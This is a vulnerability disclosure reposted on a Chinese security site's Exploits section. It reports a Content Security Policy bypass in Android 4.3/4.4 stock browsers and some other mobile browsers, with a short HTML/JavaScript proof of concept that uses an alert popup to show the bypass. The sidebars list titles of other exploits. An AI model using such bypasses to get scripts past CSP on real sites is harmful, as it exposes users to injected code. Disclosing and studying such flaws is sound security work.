首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Android browser versions 4.4 content security policy bypass vulnerability
来源:vfocus.net 作者:Johns 发布时间:2014-10-14  
Hello. I hope this is the correct place to report this bug.
  
I've found a Content Security Policy bypass similar to the same and related to the same origin policy bypass in this CVE. This is a separate vulnerability, however.
  
I've tested this on an Android 4.3 tablet. I've tested this and it works on Firefox (32.0.2), InBrowser, Dolphin (App info doesn't give version). I also tested the default android browser on 4.3.1 emulator which was also vulnerable.
  
PoC:
<input type=button value="test" onclick="
  a=document.createElement('script');
  a.id='AA';
  document.body.appendChild(a);
  setTimeout(function(){if(typeof(document.getElementById('AA'))!=='undefined'){alert(Stripe);}else{ alert(2);}}, 400);
  return false;">
  
The content security policy rule that should block this is 
script-src 'self' https://js.stripe.com/v2/ ;
  
The PoC worked if you see a popup containing stripes e(){} object. You can test this on http://ejj.io/test.php
  
  
Cheers,
Evan J

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Wordpress InfusionSoft Upload
·SEO Control Panel 3.6.0 - Auth
·Rejetto HttpFileServer Remote
·DNS Reverse Lookup Shellshock
·F5 iControl Remote Root Comman
·Microsoft Bluetooth Personal A
·Linux Kernel 3.16.1 FUSE Privi
·Drupal 7.X SQL Injection
·OpenSSH 6.6 SFTP Misconfigurat
·SAP Netweaver Enqueue Server T
·Advanced Information Security
·Drupal Core <= 7.32 - SQL Inje
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved